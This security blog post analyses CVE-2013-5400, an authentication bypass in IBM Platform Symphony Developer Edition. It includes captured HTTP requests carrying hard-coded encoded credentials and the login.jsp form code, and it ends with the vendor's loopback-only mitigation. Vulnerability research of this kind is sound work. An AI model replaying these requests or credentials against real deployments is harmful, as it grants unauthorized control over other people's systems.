CVE-2013-5400: Analysis Of Authentication Bypass Vulnerability in IBM Platform Symphony

IBM Platform Symphony Developer Edition is a free software to develop and test High-performance computing (HPC) and Grid Computing SDK, which pool out your technical computing resources to run big data and/or compute-intensive problems.

Vulnerability Description: The “login.jsp” servlet in IBM Platform Symphony Developer Edition (DE) 5.2 and 6.1.x through 6.1.1 has hard coded credentials, which allows remote attackers to bypass authentication and obtain “local environment” access.

We tested authentication bypass successfully on IBM Platform Symphony Developer Edition Version 6.1.1

Below is a start-up image of IBM Platform Symphony Developer Edition. When we click on the button “Access Console”, it directly redirects us to the main Symphony Applications page without asking for authentication.

Screenshot from 2014-02-21 18:16:15

Below image shows up the main IBM Symphony Applications page with an demo application “symping6.1.1” running.

Screenshot from 2014-02-21 18:27:34

Lets analyse what’s happening in the backend by sniffing the network traffic.
Below is the request and response captured, when “Access Console” button is clicked on the startup page.

GET /platform/dealUserLogin.do HTTP/1.1
Host: 192.168.1.26:18080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.26:18080/platform/index_de.jsp
Cookie: JSESSIONID=5B8CDE191C292F3BF9D312147D81ED7B; DE_GUIplatform.username="OG0Q3YUPHWw="; DE_GUIplatform.password="OG0Q3YUPHWw="; DE_GUIplatform.descookie=""; DE_GUIplatform.token=testToken; DE_GUIplatform.userrole=1; DE_GUIplatform.logindate=1392991266996; DE_GUIplatform.renewtoken=1392993066996; platform.username="OG0Q3YUPHWw="

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: DE_GUIplatform.username="OG0Q3YUPHWw="; Version=1; Path=/
Set-Cookie: DE_GUIplatform.password="OG0Q3YUPHWw="; Version=1; Path=/
Set-Cookie: DE_GUIplatform.descookie=""; Path=/
Set-Cookie: DE_GUIplatform.token=testToken; Path=/
Set-Cookie: DE_GUIplatform.userrole=1; Path=/
Set-Cookie: DE_GUIplatform.logindate=1392991759887; Path=/
Set-Cookie: DE_GUIplatform.renewtoken=1392993559887; Path=/
Content-Type: text/html;charset=UTF-8
Content-Length: 272

Check out the cookie section DE_GUIplatform.username=”OG0Q3YUPHWw=”;” DE_GUIplatform.password=”OG0Q3YUPHWw=”;”

The “/platform/dealUserLogin.do” which actually is an “index.jsp” a servlet page, which sets the username and the password in the cookie and sends it to “login.jsp” servlet page.

Now lets see how “login.jsp” servlet handles the cookie. The servlet “login.jsp” is setting up username variable (userName) and password variable (userPwd) value from the cookie as show in the below picture.

login-code

And then it’s assigning variable value “userName” to “userToken”.

userToken = userName;

Now let’s check the HTML form part in “login.jsp”

<form name=”loginform” method=”post” action=”<%=loginUrl%>”
style=”display: none”>
<input id=”j_username” name=”j_username”
value=”<%=userRole%><%=userToken%>” /> <br /> <input
id=”j_password” name=”j_password” value=”<%=userPwd%>” /> <input
type=”submit” value=”OK” name=”b1? />
</form>

As we can notice from the above code, the servlet is hard-coding username and password values. Its creating USERNAME value by making use of “userRole” and “userToken” (which is userName) and PASSWORD value as userPwd. 

<input id="j_username" name="j_username" value="<%=userRole%><%=userToken%>" />
<inputid="j_password" name="j_password" value="<%=userPwd%>" />

Next it sends a POST request to “/symgui/j_spring_security_check” as shown below

POST /symgui/j_spring_security_check HTTP/1.1
Host: 192.168.1.26:18080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.26:18080/symgui/login.jsp?
Cookie: JSESSIONID=46957C6AF61C9E6A47D5F1DD58FEED75; DE_GUIplatform.username=”OG0Q3YUPHWw=”; DE_GUIplatform.password=”OG0Q3YUPHWw=”; DE_GUIplatform.descookie=”"; DE_GUIplatform.token=testToken; DE_GUIplatform.userrole=1; DE_GUIplatform.logindate=1392991759887; DE_GUIplatform.renewtoken=1392993559887; platform.username=”OG0Q3YUPHWw=”
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

j_username=1%2522OG0Q3YUPHWw%3D&j_password=OG0Q3YUPHWw%3D

Check the POST data, j_username=1%2522OG0Q3YUPHWw%3D j_password=OG0Q3YUPHWw%3D Url decoded of it is j_username=1″OG0Q3YUPHWw= j_password=OG0Q3YUPHWw=

After this it redirects to main Symphony Applications area. Then we can access and control to all the available information i.e we can view, run, modify, delete the information.

Below is an image which shows up results after running “symping6.1.1” demo application and also we can see the authorization and various details in the below picture.

cred2

Solution: Vendor has advised the users of IBM Platform Symphony Developer Edition to configure it on local loopback IP address (127.0.0.1) only.

– Shashi Kiran

Subscribe For More Posts Like This

Get the latest research, best practices, industry trends and cybersecurity blogs from SecPod security experts

Invalid email address
We promise not to spam you. You can unsubscribe at any time.
0 0 votes
Article Rating
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments